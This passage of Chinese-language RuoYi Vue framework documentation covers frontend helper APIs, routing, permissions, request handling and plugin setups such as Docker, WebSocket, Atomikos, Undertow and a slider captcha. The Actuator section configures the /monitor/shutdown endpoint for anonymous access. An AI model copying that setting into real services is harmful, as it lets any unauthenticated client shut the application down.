this.$tab.openPage("用戶管理", "/system/user");
this.$tab.openPage("用戶管理", "/system/user").then(() => {
// 執行結束的邏輯
})
- 修改頁簽
const obj = Object.assign({}, this.$route, { title: "自定義標題" })
this.$tab.updatePage(obj);
this.$tab.updatePage(obj).then(() => {
// 執行結束的邏輯
})
- 關閉頁簽
// 關閉當前tab頁簽,打開新頁簽
const obj = { path: "/system/user" };
this.$tab.closeOpenPage(obj);
// 關閉當前頁簽,回到首頁
this.$tab.closePage();
// 關閉指定頁簽
const obj = { path: "/system/user", name: "User" };
this.$tab.closePage(obj);
this.$tab.closePage(obj).then(() => {
// 執行結束的邏輯
})
- 刷新頁簽
// 刷新當前頁簽
this.$tab.refreshPage();
// 刷新指定頁簽
const obj = { path: "/system/user", name: "User" };
this.$tab.refreshPage(obj);
this.$tab.refreshPage(obj).then(() => {
// 執行結束的邏輯
})
- 關閉所有頁簽
this.$tab.closeAllPage();
this.$tab.closeAllPage().then(() => {
// 執行結束的邏輯
})
- 關閉左側頁簽
this.$tab.closeLeftPage();
const obj = { path: "/system/user", name: "User" };
this.$tab.closeLeftPage(obj);
this.$tab.closeLeftPage(obj).then(() => {
// 執行結束的邏輯
})
- 關閉右側頁簽
this.$tab.closeRightPage();
const obj = { path: "/system/user", name: "User" };
this.$tab.closeRightPage(obj);
this.$tab.closeRightPage(obj).then(() => {
// 執行結束的邏輯
})
- 關閉其他tab頁簽
this.$tab.closeOtherPage();
const obj = { path: "/system/user", name: "User" };
this.$tab.closeOtherPage(obj);
this.$tab.closeOtherPage(obj).then(() => {
// 執行結束的邏輯
})
.2、$modal對象
$modal
對象用於做消息提示、通知提示、對話框提醒、二次確認、遮罩等,它定義在plugins/modal.js
文件中,它有如下方法
- 提供成功、警告和錯誤等反饋信息
this.$modal.msg("默認反饋");
this.$modal.msgError("錯誤反饋");
this.$modal.msgSuccess("成功反饋");
this.$modal.msgWarning("警告反饋");
- 提供成功、警告和錯誤等提示信息
this.$modal.alert("默認提示");
this.$modal.alertError("錯誤提示");
this.$modal.alertSuccess("成功提示");
this.$modal.alertWarning("警告提示");
- 提供成功、警告和錯誤等通知信息
this.$modal.notify("默認通知");
this.$modal.notifyError("錯誤通知");
this.$modal.notifySuccess("成功通知");
this.$modal.notifyWarning("警告通知");
- 提供確認窗體信息
this.$modal.confirm('確認信息').then(function() {
...
}).then(() => {
...
}).catch(() => {});
- 提供遮罩層信息
// 打開遮罩層
this.$modal.loading("正在導出數據,請稍后...");
// 關閉遮罩層
this.$modal.closeLoading();
.3、$auth對象
$auth
對象用於驗證用戶是否擁有某(些)權限或角色,它定義在plugins/auth.js
文件中,它有如下方法
- 驗證用戶權限
// 驗證用戶是否具備某權限
this.$auth.hasPermi("system:user:add");
// 驗證用戶是否含有指定權限,只需包含其中一個
this.$auth.hasPermiOr(["system:user:add", "system:user:update"]);
// 驗證用戶是否含有指定權限,必須全部擁有
this.$auth.hasPermiAnd(["system:user:add", "system:user:update"]);
- 驗證用戶角色
// 驗證用戶是否具備某角色
this.$auth.hasRole("admin");
// 驗證用戶是否含有指定角色,只需包含其中一個
this.$auth.hasRoleOr(["admin", "common"]);
// 驗證用戶是否含有指定角色,必須全部擁有
this.$auth.hasRoleAnd(["admin", "common"]);
.4、$cache對象
$cache
對象用於處理緩存。我們並不建議您直接使用sessionStorage
或localStorage
,因為項目的緩存策略可能發生變化,通過$cache
對象做一層調用代理則是一個不錯的選擇。$cache
提供session
和local
兩種級別的緩存,如下:
對象名稱 | 緩存類型 |
---|---|
session | 會話級緩存,通過sessionStorage實現 |
local | 本地級緩存,通過localStorage實現 |
示例
// local 普通值
this.$cache.local.set('key', 'local value')
console.log(this.$cache.local.get('key')) // 輸出'local value'
// session 普通值
this.$cache.session.set('key', 'session value')
console.log(this.$cache.session.get('key')) // 輸出'session value'
// local JSON值
this.$cache.local.setJSON('jsonKey', { localProp: 1 })
console.log(this.$cache.local.getJSON('jsonKey')) // 輸出'{localProp: 1}'
// session JSON值
this.$cache.session.setJSON('jsonKey', { sessionProp: 1 })
console.log(this.$cache.session.getJSON('jsonKey')) // 輸出'{sessionProp: 1}'
// 刪除值
this.$cache.local.remove('key')
this.$cache.session.remove('key')
.5、$download對象
$download
對象用於文件下載,它定義在plugins/download.js
文件中,它有如下方法
- 根據名稱下載
download
路徑下的文件
const name = "be756b96-c8b5-46c4-ab67-02e988973090.xlsx";
const isDelete = true;
// 默認下載方法
this.$download.name(name);
// 下載完成后是否刪除文件
this.$download.name(name, isDelete);
- 根據名稱下載
upload
路徑下的文件
const resource = "/profile/upload/2021/09/27/be756b96-c8b5-46c4-ab67-02e988973090.png";
// 默認方法
this.$download.resource(resource);
- 根據請求地址下載
zip
包
const url = "/tool/gen/batchGenCode?tables=" + tableNames;
const name = "ruoyi";
// 默認方法
this.$download.zip(url, name);
- 更多文件下載操作
// 自定義文本保存
var blob = new Blob(["Hello, world!"], {type: "text/plain;charset=utf-8"});
this.$download.saveAs(blob, "hello world.txt");
// 自定義文件保存
var file = new File(["Hello, world!"], "hello world.txt", {type: "text/plain;charset=utf-8"});
this.$download.saveAs(file);
// 自定義data數據保存
const blob = new Blob([data], { type: 'text/plain;charset=utf-8' })
this.$download.saveAs(blob, name)
// 根據地址保存文件
this.$download.saveAs("https://ruoyi.vip/images/logo.png", "logo.jpg");
2、開發規范
.1、新增 view
在 @/views (opens new window)文件下 創建對應的文件夾,一般性一個路由對應一個文件, 該模塊下的功能就建議在本文件夾下創建一個新文件夾,各個功能模塊維護自己的utils
或components
組件。
.2、新增 api
在 @/api (opens new window)文件夾下創建本模塊對應的 api 服務。
.3、新增組件
在全局的 @/components (opens new window)寫一些全局的組件,如富文本,各種搜索組件,封裝的分頁組件等等能被公用的組件。 每個頁面或者模塊特定的業務組件則會寫在當前 @/views (opens new window)下面。
如:@/views/system/user/components/xxx.vue
。這樣拆分大大減輕了維護成本。
.4、新增樣式
頁面的樣式和組件是一個道理,全局的 @/style (opens new window)放置一下全局公用的樣式,每一個頁面的樣式就寫在當前 views
下面,請記住加上scoped
就只會作用在當前組件內了,避免造成全局的樣式污染。
/* 編譯前 */
.example {
color: red;
}
/* 編譯后 */
.example[_v-f3f3eg9] {
color: red;
}
3、請求流程
.1、交互流程
一個完整的前端 UI 交互到服務端處理流程是這樣的:
- UI 組件交互操作;
- 調用統一管理的 api service 請求函數;
- 使用封裝的 request.js 發送請求;
- 獲取服務端返回;
- 更新 data;
為了方便管理維護,統一的請求處理都放在 @/src/api
文件夾中,並且一般按照 model 維度進行拆分文件,如:
api/
system/
user.js
role.js
monitor/
operlog.js
logininfor.js
...
提示
其中,@/src/utils/request.js (opens new window)是基於 axios 的封裝,便於統一處理 POST,GET 等請求參數,請求頭,以及錯誤提示信息等。 它封裝了全局 request攔截器、response攔截器、統一的錯誤處理、統一做了超時處理、baseURL設置等。
.2、請求示例
// api/system/user.js
import request from '@/utils/request'
// 查詢用戶列表
export function listUser(query) {
return request({
url: '/system/user/list',
method: 'get',
params: query
})
}
// views/system/user/index.vue
import { listUser } from "@/api/system/user";
export default {
data() {
userList: null,
loading: true
},
methods: {
getList() {
this.loading = true
listUser().then(response => {
this.userList = response.rows
this.loading = false
})
}
}
}
提示
如果有不同的baseURL
,直接通過覆蓋的方式,讓它具有不同的baseURL
。
export function listUser(query) {
return request({
url: '/system/user/list',
method: 'get',
params: query,
baseURL: process.env.BASE_API
})
}
4、引入依賴
除了 element-ui 組件以及腳手架內置的業務組件,有時我們還需要引入其他外部組件,這里以引入 vue-count-to (opens new window)為例進行介紹。
在終端輸入下面的命令完成安裝:
$ npm install vue-count-to --save
加上
--save
參數會自動添加依賴到 package.json 中去。
5、路由使用
框架的核心是通過路由自動生成對應導航,所以除了路由的基本配置,還需要了解框架提供了哪些配置項。
.1、路由配置
// 當設置 true 的時候該路由不會在側邊欄出現 如401,login等頁面,或者如一些編輯頁面/edit/1
hidden: true // (默認 false)
//當設置 noRedirect 的時候該路由在面包屑導航中不可被點擊
redirect: 'noRedirect'
// 當你一個路由下面的 children 聲明的路由大於1個時,自動會變成嵌套的模式--如組件頁面
// 只有一個時,會將那個子路由當做根路由顯示在側邊欄--如引導頁面
// 若你想不管路由下面的 children 聲明的個數都顯示你的根路由
// 你可以設置 alwaysShow: true,這樣它就會忽略之前定義的規則,一直顯示根路由
alwaysShow: true
name: 'router-name' // 設定路由的名字,一定要填寫不然使用<keep-alive>時會出現各種問題
query: '{"id": 1, "name": "ry"}' // 訪問路由的默認傳遞參數
roles: ['admin', 'common'] // 訪問路由的角色權限
permissions: ['a:a:a', 'b:b:b'] // 訪問路由的菜單權限
meta: {
title: 'title' // 設置該路由在側邊欄和面包屑中展示的名字
icon: 'svg-name' // 設置該路由的圖標,支持 svg-class,也支持 el-icon-x element-ui 的 icon
noCache: true // 如果設置為true,則不會被 <keep-alive> 緩存(默認 false)
breadcrumb: false // 如果設置為false,則不會在breadcrumb面包屑中顯示(默認 true)
affix: true // 如果設置為true,它則會固定在tags-view中(默認 false)
// 當路由設置了該屬性,則會高亮相對應的側邊欄。
// 這在某些場景非常有用,比如:一個文章的列表頁路由為:/article/list
// 點擊文章進入文章詳情頁,這時候路由為/article/1,但你想在側邊欄高亮文章列表的路由,就可以進行如下設置
activeMenu: '/article/list'
}
普通示例
{
path: '/system/test',
component: Layout,
redirect: 'noRedirect',
hidden: false,
alwaysShow: true,
meta: { title: '系統管理', icon : "system" },
children: [{
path: 'index',
component: (resolve) => require(['@/views/index'], resolve),
name: 'Test',
meta: {
title: '測試管理',
icon: 'user'
}
}]
}
外鏈示例
{
path: 'http://ruoyi.vip',
meta: { title: '若依官網', icon : "guide" }
}
.2、靜態路由
代表那些不需要動態判斷權限的路由,如登錄頁、404、等通用頁面,在@/router/index.js (opens new window)配置對應的公共路由。
.3、動態路由
代表那些需要根據用戶動態判斷權限並通過addRoutes
動態添加的頁面,在@/store/modules/permission.js (opens new window)加載后端接口路由配置。
提示
- 動態路由可以在系統管理-菜單管理進行新增和修改操作,前端加載會自動請求接口獲取菜單信息並轉換成前端對應的路由。
- 動態路由在生產環境下會默認使用路由懶加載,實現方式參考
loadView
方法的判斷。
.4、常用方法
想要跳轉到不同的頁面,使用router.push
方法
this.$router.push({ path: "/system/user" });
跳轉頁面並設置請求參數,使用query
屬性
this.$router.push({ path: "/system/user", query: {id: "1", name: "若依"} });
更多使用可以參考vue-router (opens new window)官方文檔。
6、組件使用
vue 注冊組件的兩種方式
.1、局部注冊
在對應頁使用components
注冊組件。
<template>
<count-to :startVal='startVal' :endVal='endVal' :duration='3000'></count-to>
</template>
<script>
import countTo from 'vue-count-to';
export default {
components: { countTo },
data () {
return {
startVal: 0,
endVal: 2020
}
}
}
</script>
.2、全局注冊
在 @/main.js (opens new window)文件下注冊組件。
import countTo from 'vue-count-to'
Vue.component('countTo', countTo)
<template>
<count-to :startVal='startVal' :endVal='endVal' :duration='3000'></count-to>
</template>
.3、創建使用
可以通過創建一個后綴名為vue
的文件,在通過components
進行注冊即可。
例如定義一個a.vue
文件
<!-- 子組件 -->
<template>
<div>這是a組件</div>
</template>
在其他組件中導入並注冊
<!-- 父組件 -->
<template>
<div style="text-align: center; font-size: 20px">
測試頁面
<testa></testa>
</div>
</template>
<script>
import a from "./a";
export default {
components: { testa: a }
};
</script>
.4、組件通信
通過props
來接收外界傳遞到組件內部的值
<!-- 父組件 -->
<template>
<div style="text-align: center; font-size: 20px">
測試頁面
<testa :name="name"></testa>
</div>
</template>
<script>
import a from "./a";
export default {
components: { testa: a },
data() {
return {
name: "若依"
};
},
};
</script>
<!-- 子組件 -->
<template>
<div>這是a組件 name:{{ name }}</div>
</template>
<script>
export default {
props: {
name: {
type: String,
default: ""
},
}
};
</script>
使用$emit
監聽子組件觸發的事件
<!-- 父組件 -->
<template>
<div style="text-align: center; font-size: 20px">
測試頁面
<testa :name="name" @ok="ok"></testa>
子組件傳來的值 : {{ message }}
</div>
</template>
<script>
import a from "./a";
export default {
components: { testa: a },
data() {
return {
name: "若依",
message: ""
};
},
methods: {
ok(message) {
this.message = message;
},
},
};
</script>
<!-- 子組件 -->
<template>
<div>
這是a組件 name:{{ name }}
<button @click="click">發送</button>
</div>
</template>
<script>
export default {
props: {
name: {
type: String,
default: ""
},
},
data() {
return {
message: "我是來自子組件的消息"
};
},
methods: {
click() {
this.$emit("ok", this.message);
},
},
};
</script>
7、權限使用
封裝了一個指令權限,能簡單快速的實現按鈕級別的權限判斷。v-permission(opens new window)
使用權限字符串 v-hasPermi
// 單個
<el-button v-hasPermi="['system:user:add']">存在權限字符串才能看到</el-button>
// 多個
<el-button v-hasPermi="['system:user:add', 'system:user:edit']">包含權限字符串才能看到</el-button>
使用角色字符串 v-hasRole
// 單個
<el-button v-hasRole="['admin']">管理員才能看到</el-button>
// 多個
<el-button v-hasRole="['role1', 'role2']">包含角色才能看到</el-button>
提示
在某些情況下,它是不適合使用v-hasPermi,如元素標簽組件,只能通過手動設置v-if。 可以使用全局權限判斷函數,用法和指令 v-hasPermi 類似。
<template>
<el-tabs>
<el-tab-pane v-if="checkPermi(['system:user:add'])" label="用戶管理" name="user">用戶管理</el-tab-pane>
<el-tab-pane v-if="checkPermi(['system:user:add', 'system:user:edit'])" label="參數管理" name="menu">參數管理</el-tab-pane>
<el-tab-pane v-if="checkRole(['admin'])" label="角色管理" name="role">角色管理</el-tab-pane>
<el-tab-pane v-if="checkRole(['admin','common'])" label="定時任務" name="job">定時任務</el-tab-pane>
</el-tabs>
</template>
<script>
import { checkPermi, checkRole } from "@/utils/permission"; // 權限判斷函數
export default{
methods: {
checkPermi,
checkRole
}
}
</script>
前端有了鑒權后端還需要鑒權嗎?
前端的鑒權只是一個輔助功能,對於專業人員這些限制都是可以輕松繞過的,為保證服務器安全,無論前端是否進行了權限校驗,后端接口都需要對會話請求再次進行權限校驗!
8、多級目錄
如果你的路由是多級目錄,有三級路由嵌套的情況下,還需要手動在二級目錄的根文件下添加一個 <router-view>
。
如:@/views/system/log/index.vue (opens new window),原則上有多少級路由嵌套就需要多少個<router-view>
。
提示
最新版本多級目錄已經支持自動配置組件,無需添加<router-view>
。
9、頁簽緩存
由於目前 keep-alive
和 router-view
是強耦合的,而且查看文檔和源碼不難發現 keep-alive
的 include (opens new window)默認是優先匹配組件的 name ,所以在編寫路由 router 和路由對應的 view component 的時候一定要確保 兩者的 name 是完全一致的。(切記 name 命名時候盡量保證唯一性 切記不要和某些組件的命名重復了,不然會遞歸引用最后內存溢出等問題)
DEMO:
//router 路由聲明
{
path: 'config',
component: ()=>import('@/views/system/config/index'),
name: 'Config',
meta: { title: '參數設置', icon: 'edit' }
}
//路由對應的view system/config/index
export default {
name: 'Config'
}
一定要保證兩者的名字相同,切記寫重或者寫錯。默認如果不寫 name 就不會被緩存,詳情見issue (opens new window)。
提示
在系統管理-菜單管理-可以配置菜單頁簽是否緩存,默認為緩存
10、使用圖標
全局 Svg Icon 圖標組件。
默認在 @/icons/index.js (opens new window)中注冊到全局中,可以在項目中任意地方使用。所以圖標均可在 @/icons/svg (opens new window)。可自行添加或者刪除圖標,所以圖標都會被自動導入,無需手動操作。
.1、使用方式
<!-- icon-class 為 icon 的名字; class-name 為 icon 自定義 class-->
<svg-icon icon-class="password" class-name='custom-class' />
.2、改變顏色
svg-icon` 默認會讀取其父級的 color `fill: currentColor;
你可以改變父級的color
或者直接改變fill
的顏色即可。
提示
如果你是從 iconfont (opens new window)下載的圖標,記得使用如 Sketch 等工具規范一下圖標的大小問題,不然可能會造成項目中的圖標大小尺寸不統一的問題。 本項目中使用的圖標都是 128*128 大小規格的。
11、使用字典
字典管理是用來維護數據類型的數據,如下拉框、單選按鈕、復選框、樹選擇的數據,方便系統管理員維護。主要功能包括:字典分類管理、字典數據管理
大於3.7.0
版本使用如下方法
1、main.js中引入全局變量和方法(已有)
import DictData from '@/components/DictData'
DictData.install()
2、加載數據字典,可以是多個。
export default {
dicts: ['字典類型'],
...
...
3、讀取數據字典
<el-option
v-for="dict in dict.type.字典類型"
:key="dict.value"
:label="dict.label"
:value="dict.value"
/>
4、翻譯數據字典
// 字典標簽組件翻譯
<el-table-column label="名稱" align="center" prop="name">
<template slot-scope="scope">
<dict-tag :options="dict.type.字典類型" :value="scope.row.name"/>
</template>
</el-table-column>
// 自定義方法翻譯
{{ xxxxFormat(form) }}
xxxxFormat(row, column) {
return this.selectDictLabel(this.dict.type.字典類型, row.name);
},
小於3.7.0
版本使用如下方法
1、main.js中引入全局變量和方法(已有)
import { getDicts } from "@/api/system/dict/data";
Vue.prototype.getDicts = getDicts
2、加載數據字典
export default {
data() {
return {
xxxxxOptions: [],
.....
...
created() {
this.getDicts("字典類型").then(response => {
this.xxxxxOptions = response.data;
});
},
3、讀取數據字典
<el-option
v-for="dict in xxxxxOptions"
:key="dict.dictValue"
:label="dict.dictLabel"
:value="dict.dictValue"
/>
4、翻譯數據字典
// 字典標簽組件翻譯
<el-table-column label="名稱" align="center" prop="name">
<template slot-scope="scope">
<dict-tag :options="xxxxxOptions" :value="scope.row.name"/>
</template>
</el-table-column>
// 自定義方法翻譯
{{ xxxxFormat(form) }}
xxxxFormat(row, column) {
return this.selectDictLabel(this.xxxxxOptions, row.name);
},
12、使用參數
參數設置是提供開發人員、實施人員的動態系統配置參數,不需要去頻繁修改后台配置文件,也無需重啟服務器即可生效。
1、main.js中引入全局變量和方法(已有)
import { getConfigKey } from "@/api/system/config";
Vue.prototype.getConfigKey = getConfigKey
2、頁面使用參數
this.getConfigKey("參數鍵名").then(response => {
this.xxxxx = response.msg;
});
13、異常處理
@/utils/request.js
是基於 axios
的封裝,便於統一處理 POST,GET 等請求參數,請求頭,以及錯誤提示信息等。它封裝了全局 request攔截器
、response攔截器
、統一的錯誤處理
、統一做了超時處理
、baseURL設置等
。 如果有自定義錯誤碼可以在errorCode.js
中設置對應key
value
值。
import axios from 'axios'
import { Notification, MessageBox, Message } from 'element-ui'
import store from '@/store'
import { getToken } from '@/utils/auth'
import errorCode from '@/utils/errorCode'
import { tansParams } from "@/utils/ruoyi";
axios.defaults.headers['Content-Type'] = 'application/json;charset=utf-8'
// 創建axios實例
const service = axios.create({
// axios中請求配置有baseURL選項,表示請求URL公共部分
baseURL: process.env.VUE_APP_BASE_API,
// 超時
timeout: 10000
})
// request攔截器
service.interceptors.request.use(config => {
// 是否需要設置 token
const isToken = (config.headers || {}).isToken === false
if (getToken() && !isToken) {
config.headers['Authorization'] = 'Bearer ' + getToken() // 讓每個請求攜帶自定義token 請根據實際情況自行修改
}
return config
}, error => {
console.log(error)
Promise.reject(error)
})
// 響應攔截器
service.interceptors.response.use(res => {
// 未設置狀態碼則默認成功狀態
const code = res.data.code || 200;
// 獲取錯誤信息
const msg = errorCode[code] || res.data.msg || errorCode['default']
if (code === 401) {
MessageBox.confirm('登錄狀態已過期,您可以繼續留在該頁面,或者重新登錄', '系統提示', {
confirmButtonText: '重新登錄',
cancelButtonText: '取消',
type: 'warning'
}
).then(() => {
store.dispatch('LogOut').then(() => {
location.href = '/index';
})
})
} else if (code === 500) {
Message({
message: msg,
type: 'error'
})
return Promise.reject(new Error(msg))
} else if (code !== 200) {
Notification.error({
title: msg
})
return Promise.reject('error')
} else {
return res.data
}
},
error => {
console.log('err' + error)
let { message } = error;
if (message == "Network Error") {
message = "后端接口連接異常";
}
else if (message.includes("timeout")) {
message = "系統接口請求超時";
}
else if (message.includes("Request failed with status code")) {
message = "系統接口" + message.substr(message.length - 3) + "異常";
}
Message({
message: message,
type: 'error',
duration: 5 * 1000
})
return Promise.reject(error)
}
)
// 通用下載方法
export function download(url, params, filename) {
return service.post(url, params, {
transformRequest: [(params) => {
return tansParams(params)
}],
responseType: 'blob'
}).then((data) => {
const content = data
const blob = new Blob([content])
if ('download' in document.createElement('a')) {
const elink = document.createElement('a')
elink.download = filename
elink.style.display = 'none'
elink.href = URL.createObjectURL(blob)
document.body.appendChild(elink)
elink.click()
URL.revokeObjectURL(elink.href)
document.body.removeChild(elink)
} else {
navigator.msSaveBlob(blob, filename)
}
}).catch((r) => {
console.error(r)
})
}
export default service
提示
如果有些不需要傳遞token的請求,可以設置headers
中的屬性isToken
為false
export function login(username, password, code, uuid) {
return request({
url: 'xxxx',
headers: {
isToken: false,
// 可以自定義 Authorization
// 'Authorization': 'Basic d2ViOg=='
},
method: 'get'
})
}
14、應用路徑
有些特殊情況需要部署到子路徑下,例如:https://www.ruoyi.vip/admin
,可以按照下面流程修改。
1、修改vue.config.js
中的publicPath
屬性
publicPath: process.env.NODE_ENV === "production" ? "/admin/" : "/admin/",
2、修改router/index.js
,添加一行base
屬性
export default new Router({
base: "/admin",
mode: 'history', // 去掉url中的#
scrollBehavior: () => ({ y: 0 }),
routes: constantRoutes
})
3、/index
路由添加獲取子路徑/admin
修改layout/components/Navbar.vue
中的location.href
location.href = '/admin/index';
修改utils/request.js
中的location.href
location.href = '/admin/index';
4、修改nginx
配置
location /admin {
alias /home/ruoyi/projects/ruoyi-ui;
try_files $uri $uri/ /admin/index.html;
index index.html index.htm;
}
打開瀏覽器,輸入:https://www.ruoyi.vip/admin
能正常訪問和刷新表示成功。
15、內容復制
如果要使用復制功能可以使用指令v-clipboard
,示例代碼。
<el-button
v-clipboard:copy="content"
v-clipboard:success="copySuccess"
v-clipboard:error="copyFailed"
>復制</el-button>
參數 | 說明 |
---|---|
v-clipboard:copy | 需要復制的內容 |
v-clipboard:cat | 需要剪貼的內容 |
v-clipboard:success | 復制成功處理函數 |
clipboard:error | 復制失敗處理函數 |
二十三、插件集成
為了讓開發者更加方便和快速的滿足需求,提供了各種插件集成實現方案。
1、集成docker實現一鍵部署
Docker
是一個虛擬環境容器,可以將你的開發環境、代碼、配置文件等一並打包到這個容器中,最終只需要一個命令即可打包發布應用到任意平台中。
1、安裝docker
yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm
yum install -y yum-utils device-mapper-persistent-data lvm2
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
yum install -y docker-ce
curl -L "https://github.com/docker/compose/releases/download/1.25.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
2、檢查docker
和docker-compose
是否安裝成功
docker version
docker-compose --version
3、文件授權
chmod +x /usr/local/bin/docker-compose
4、下載若依docker插件,上傳到自己的服務器目錄
插件相關腳本實現ruoyi-vue/集成docker實現一鍵部署.zip
鏈接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取碼: y9jt
- 其中
db目錄
存放ruoyi數據庫腳本
- 其中
jar目錄
存放打包好的jar應用文件
- 其中
conf目錄
存放redis.conf
和nginx.conf
配置 - 其中
html\dist目錄
存放打包好的靜態頁面文件 - 數據庫
mysql
地址需要修改成ruoyi-mysql
- 緩存
redis
地址需要修改成ruoyi-redis
- 數據庫腳本頭部需要添加
SET NAMES 'utf8';
(防止亂碼)
5、啟動docker
systemctl start docker
6、構建docker服務
docker-compose build
7、啟動docker容器
docker-compose up -d
8、訪問應用地址
打開瀏覽器,輸入:(http://localhost:80 (opens new window)),若能正確展示頁面,則表明環境搭建成功。
提示
啟動服務的容器docker-compose up ruoyi-mysql ruoyi-server ruoyi-nginx ruoyi-redis
停止服務的容器docker-compose stop ruoyi-mysql ruoyi-server ruoyi-nginx ruoyi-redis
2、成websocket實現實時通信
WebSocket
是一種通信協議,可在單個TCP
連接上進行全雙工通信。WebSocket
使得客戶端和服務器之間的數據交換變得更加簡單,允許服務端主動向客戶端推送數據。在WebSocket API
中,瀏覽器和服務器只需要完成一次握手,兩者之間就可以建立持久性的連接,並進行雙向數據傳輸。
1、ruoyi-framework/pom.xml
文件添加websocket
依賴。
<!-- SpringBoot Websocket -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-websocket</artifactId>
</dependency>
2、配置匿名訪問(可選)
// 如果需要不登錄也可以訪問,需要在`SecurityConfig.java`中設置匿名訪問
("/websocket/**").permitAll()
3、下載插件相關包和代碼實現覆蓋到工程中
提示
插件相關包和代碼實現ruoyi-vue/集成websocket實現實時通信.zip
鏈接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取碼: y9jt
4、測試驗證
如果要測試驗證可以把websocket.vue
內容復制到login.vue
,點擊連接發送消息測試返回結果。
3、集成atomikos實現分布式事務
在一些復雜的應用開發中,一個應用可能會涉及到連接多個數據源,所謂多數據源這里就定義為至少連接兩個及以上的數據庫了。 對於這種多數據的應用中,數據源就是一種典型的分布式場景,因此系統在多個數據源間的數據操作必須做好事務控制。在SpringBoot
的官網推薦我們使用Atomikos (opens new window)。 當然分布式事務的作用並不僅僅應用於多數據源。例如:在做數據插入的時候往一個kafka
消息隊列寫消息,如果信息很重要同樣需要保證分布式數據的一致性。
若依框架已經通過Druid
實現了多數據源切換,但是Spring
開啟事務后會維護一個ConnectionHolder,保證在整個事務下,都是用同一個數據庫連接。所以我們需要Atomikos
解決多數據源事務的一致性問題
1、ruoyi-framework/pom.xml
文件添加atomikos
依賴。
<!-- atomikos分布式事務 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-jta-atomikos</artifactId>
</dependency>
2、下載插件相關包和代碼實現覆蓋到工程中
提示
插件相關包和代碼實現ruoyi/集成atomikos實現分布式事務.zip
鏈接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取碼: y9jt
3、測試驗證
加入多數據源,如果不會使用可以參考多數據源實現。
對應需要操作多數據源方法加入@Transactional
測試一致性,例如。
@Transactional
public void insert()
{
SpringUtils.getAopProxy(this).insertA();
SpringUtils.getAopProxy(this).insertB();
}
@DataSource(DataSourceType.MASTER)
public void insertA()
{
return xxxxMapper.insertXxxx();
}
@DataSource(DataSourceType.SLAVE)
public void insertB()
{
return xxxxMapper.insertXxxx();
}
到此我們項目多個數據源的事務控制生效了
4、使用undertow來替代tomcat容器
SpingBoot
中我們既可以使用Tomcat
作為Http
服務,也可以用Undertow
來代替。Undertow
在高並發業務場景中,性能優於Tomcat
。所以,如果我們的系統是高並發請求,不妨使用一下Undertow
,你會發現你的系統性能會得到很大的提升。
1、ruoyi-framework\pom.xml
模塊修改web容器依賴,使用undertow來替代tomcat容器
<!-- SpringBoot Web容器 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<artifactId>spring-boot-starter-tomcat</artifactId>
<groupId>org.springframework.boot</groupId>
</exclusion>
</exclusions>
</dependency>
<!-- web 容器使用 undertow -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-undertow</artifactId>
</dependency>
2、修改application.yml
,使用undertow來替代tomcat容器
# 開發環境配置
server:
# 服務器的HTTP端口,默認為80
port: 80
servlet:
# 應用的訪問路徑
context-path: /
# undertow 配置
undertow:
# HTTP post內容的最大大小。當值為-1時,默認值為大小是無限的
max-http-post-size: -1
# 以下的配置會影響buffer,這些buffer會用於服務器連接的IO操作,有點類似netty的池化內存管理
# 每塊buffer的空間大小,越小的空間被利用越充分
buffer-size: 512
# 設置IO線程數, 它主要執行非阻塞的任務,它們會負責多個連接, 默認設置每個CPU核心一個線程
io-threads: 8
# 阻塞任務線程池, 當執行類似servlet請求阻塞操作, undertow會從這個線程池中取得線程,它的值設置取決於系統的負載
worker-threads: 256
# 是否分配的直接內存
direct-buffers: true
3、修改文件上傳工具類FileUploadUtils.java
private static final File getAbsoluteFile(String uploadDir, String fileName) throws IOException
{
File desc = new File(uploadDir + File.separator + fileName);
if (!desc.getParentFile().exists())
{
desc.getParentFile().mkdirs();
}
// undertow文件上傳,因底層實現不同,無需創建新文件
// if (!desc.exists())
// {
// desc.createNewFile();
// }
return desc;
}
5、集成actuator實現優雅關閉應用
優雅停機主要應用在版本更新的時候,為了等待正在工作的線程全部執行完畢,然后再停止。我們可以使用SpringBoot
提供的Actuator
1、pom.xml
中引入actuator
依賴
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
2、配置文件中endpoint
開啟shutdown
management:
endpoint:
shutdown:
enabled: true
endpoints:
web:
exposure:
include: "shutdown"
base-path: /monitor
3、在SecurityConfig
中設置httpSecurity
配置匿名訪問
.antMatchers("/monitor/shutdown").anonymous()
4、Post
請求測試驗證優雅停機 curl -X POST http://localhost:8080/monitor/shutdown
6、集成aj-captcha實現滑塊驗證碼
集成以AJ-Captcha
滑塊驗證碼為例,不需要鍵盤手動輸入,極大優化了傳統驗證碼用戶體驗不佳的問題。目前對外提供兩種類型的驗證碼,其中包含滑動拼圖、文字點選。
1、ruoyi-framework\pom.xml
添加依賴
<!-- 滑塊驗證碼 -->
<dependency>
<groupId>com.github.anji-plus</groupId>
<artifactId>captcha-spring-boot-starter</artifactId>
<version>1.2.7</version>
</dependency>
<!-- 原有的驗證碼kaptcha依賴不需要可以刪除 -->
2、修改application.yml
,加入aj-captcha
配置
# 滑塊驗證碼
aj:
captcha:
# 緩存類型
cache-type: redis
# blockPuzzle 滑塊 clickWord 文字點選 default默認兩者都實例化
type: blockPuzzle
# 右下角顯示字
water-mark: ruoyi.vip
# 校驗滑動拼圖允許誤差偏移量(默認5像素)
slip-offset: 5
# aes加密坐標開啟或者禁用(true|false)
aes-status: true
# 滑動干擾項(0/1/2)
interference-options: 2
同時在ruoyi-admin\src\main\resources\META-INF\services
下創建com.anji.captcha.service.CaptchaCacheService文件同時設置文件內容為
com.ruoyi.framework.web.service.CaptchaRedisService
1
3、在SecurityConfig中設置httpSecurity配置匿名訪問
.antMatchers("/login", "/captcha/get", "/captcha/check").permitAll()
1
4、修改相關類
